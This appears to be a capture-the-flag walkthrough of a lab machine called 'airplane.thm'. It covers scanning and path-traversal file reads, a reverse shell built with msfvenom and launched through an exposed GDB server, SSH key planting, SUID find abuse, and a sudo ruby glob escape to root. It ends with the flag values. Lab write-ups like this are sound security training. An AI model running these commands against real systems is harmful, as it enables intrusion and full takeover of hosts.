
Nmap Results
# Nmap 7.94SVN scan initiated Fri Jun 21 13:45:16 2024 as: nmap -Pn -p- --min-rate 2000 -sC -sV -oN nmap-scan.txt 10.10.192.106
Nmap scan report for 10.10.192.106
Host is up (0.076s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
| 256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
|_ 256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
6048/tcp open x11?
8000/tcp open http-alt Werkzeug/3.0.2 Python/3.8.10
|_http-title: Did not follow redirect to http://airplane.thm:8000/?page=index.html
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/3.0.2 Python/3.8.10
| Date: Fri, 21 Jun 2024 17:46:03 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/3.0.2 Python/3.8.10
| Date: Fri, 21 Jun 2024 17:45:58 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 269
| Location: http://airplane.thm:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jun 21 13:48:46 2024 -- 1 IP address (1 host up) scanned in 210.18 secondsnmap --- specifically service banners, redirects, hostnames, and other breadcrumbs.The web server running on tcp/8000 has a redirect to airplane.thm, so let's go ahead and get that added to our /etc/hosts file.
echo -e '10.10.192.106\tairplane.thm' | sudo tee -a /etc/hosts
Service Enumeration
TCP/6048
echo -e '\r\n' | nc -v airplane.thm 6048telnet airplane.thm 6048
nmap scan. Nothing interesting or useful here initially.TCP/8000

curl, seems to redirect to another page
Walking the Application

We don't know anything about the web site or web app running on this server, so the initial plan is just to click around and see what site does at certain input points.
However, this is a simple web site with a short write-up on airplanes, so there isn't much to click around and see with the initial walk of the application.
Penetration Testing
I checked for robots.txt and sitemap.xml to see if there would be any interesting pages or endpoints to explore, but the pages do not exist. Nothing interesting in the page source code either.
We'll need to use a brute-forcing tool such as gobuster to discover more pages — and possibly virtual hosts — available on the web server.
Gobuster Enumeration
Virtual Host Enumeration
gobuster vhost -k --domain airplane.thm --append-domain -u http://10.10.192.106:8000 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 100There are no additional virtual hosts that could be discovered on the web server using this word list. Moving on.
Directories and Files
gobuster dir -u http://airplane.thm:8000 -w /usr/share/seclists/Discovery/Web-Content/big.txt -o mKingdom_83_castle_index.txt -t 50/airplane (Status: 200) [Size: 655]/airplane page is almost certainly a dead end, as it's just a simple <h1> tag being rotated by some CSS. But, we'll keep an open mind to it and come back to it if all else fails.Parameter and Value Fuzzing
The main page on the web server has a query string of ?page=index.html. Meaning that the parameter name is page and the value is index.html.
?page parameter. This parameter is interesting because it is clearly loading
index.html from a local file. What other local files might we be able to read?

curl here, because the browser wants to download the file and I'd have to open and read it. It's much faster this way.
Looking for Sensitive Data

curl, since the browser wants to download the filecarlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
hudson:x:1001:1001::/home/hudson:/bin/bashInteresting users in the passwd file

/proc/selfhudson user's context
app.py by reading the cmdline in /procpython3 calling app.py, but we don't know the exact location of app.py. So, we can start with some simple tests.First...
?page=/app.py"Then...
?page=../app.pyAnd so on.

app.py
from flask import Flask, send_file, redirect, render_template, request
import os.path
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
resp = send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "Page not found"
else:
return redirect('http://airplane.thm:8000/?page=index.html', code=302)
@app.route('/airplane')
def airplane():
return render_template('airplane.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
A few observations about app.py...
- There is only one parameter the server takes —
?page os.path.isfile(page)tests if the requested file exists- If it does exist, return the contents of the page
- If the page exists, but has
0data, indicate that in theContent-Lenghtheader - Else, return
Page not found
- There's a route to
/airplanewhich loadsairplane.html
Fuzzing the /proc Filesystem
for i in {1..100000} ; do echo $i >> pids.txt ; doneGenerate a list of process IDs -- 1 to 100,000 -- we'll test that much for now

# -b 500 : ignore server errors
# --exclude-lenght 14 : ignore empty HTTP 200
gobuster fuzz -u "http://airplane.thm:8000/?page=../../../../../../proc/FUZZ/environ" -w pids.txt -o gobuster_pids.txt -b 500 --exclude-length 14 -t 100
So, we know our user hudson has the ability to read processes 536, 538, and 576.

536 -- running GDB on tcp/6048
538 -- we've already seen this one
576 -- runs the binary /opt/airplane
airplane binaryAnalyzing the Airplane Binary

Exploit
Reverse Shell via GDB Server

/proc/536/cmdline, there is a remote GDB server running on tcp/6048. And looking at the HackTricks article, this should be interesting.msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.6.63.22 LPORT=443 PrependFork=true -f elf -o pwn.elfGenerate the malicious ELF binary
chmod +x pwn.elfMake it executable
gdb pwn.elfLoad GDB into our local debugger
(gdb) target extended-remote airplane.thm:6048
(gdb) remote put pwn.elf /tmp/pwn.elf
(gdb) set remote exec-file /tmp/pwn.elf
(gdb) runConnect to the remote GDB server, upload the malicious ELF, and run it


tcp/6048.Getting a Better Shell
ssh-keygen -t rsa -f pwn -b 4096 -C '' -N ''

pwn.pub to your clipboardecho 'public_key_contents_here' > ~/.ssh/id_rsa`Run in your reverse shell to add your SSH public key

ssh -i pwn hudson@airplane.thm
Post-Exploit Enumeration
Operating Environment
OS & Kernel
NAME="Ubuntu"
VERSION="20.04.6 LTS (Focal Fossa)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 20.04.6 LTS"
VERSION_ID="20.04"
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=focal
UBUNTU_CODENAME=focal
Linux airplane 5.4.0-139-generic #156-Ubuntu SMP Fri Jan 20 17:27:18 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
Current User
uid=1001(hudson) gid=1001(hudson) groups=1001(hudson)
Sorry, user hudson may not run sudo on airplane.
Users and Groups
Local Users
carlos:x:1000:1000:carlos,,,:/home/carlos:/bin/bash
hudson:x:1001:1001::/home/hudson:/bin/bash
Local Groups
sudo:x:27:carlos
carlos:x:1000:
hudson:x:1001:
Network Configurations
Network Interfaces
ens5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 9001 qdisc mq state UP group default qlen 1000
link/ether 02:8b:b3:df:64:b5 brd ff:ff:ff:ff:ff:ff
inet 10.10.192.106/16 brd 10.10.255.255 scope global dynamic ens5
valid_lft 3355sec preferred_lft 3355sec
inet6 fe80::8b:b3ff:fedf:64b5/64 scope link
valid_lft forever preferred_lft forever
Interesting Files
/usr/bin/find
-rwsr-xr-x 1 carlos carlos 320160 Şub 18 2020 /usr/bin/find
Privilege Escalation
Lateral to Carlos
find / -type f -perm /4000 -exec ls -l {} \; 2>/dev/nullCommand used to find the SUID binary
-rwsr-xr-x 1 carlos carlos 320160 Şub 18 2020 /usr/bin/findUser owner is carlos meaning it runs with his euid
find /tmp -exec /bin/bash -ip \; -quitUse the -exec feature to run /bin/bash

euid=1000(carlos)carlosGetting a Login as Carlos
Rather than running with carlos effective user ID, let's get a login shell as him.
pwn.pub file from before and add it to carlos authorized_keys fileecho 'pwn.pub_contents_here' > /home/carlos/.ssh/authorized_keys
chmod 400 /home/carlos/.ssh/authorized_keys
ssh -i pwn carlos@airplane.thm

sudo for quick wins after changing userBecoming Root
Pay careful attention to the sudo grant — (ALL) NOPASSWD: /usr/bin/ruby /root/*.rb. This is a file globbing pattern such that:
- As long as the file path STARTS WITH
/root/... - It will match on ANYTHING FOLLOWING THIS
- And ENDING IN
.rb
So, the following conditions are true...
✅ /root/script.rb is OK
✅ /root/subdir/script.rb is OK
✅ /root/../../../../../tmp/script.rb is OK

We can run system commands using Ruby's system() library
nano /tmp/pwn.rbCreate the .rb script in /tmp on the target
#! /usr/bin/env ruby
system('chmod 4755 /bin/bash')Set SUID on the /bin/bash binary

chmod 755 /tmp/pwn.rbMake your Ruby script executable
sudo /usr/bin/ruby /root/../../../../tmp/pwn.rb
/bin/bash -ipRun /bin/bash and inherit euid=0(root)

Flags
User
eebfca2ca5a2b8a56c46c781aeea7562
Root
190dcbeb688ce5fe029f26a1e5fce002



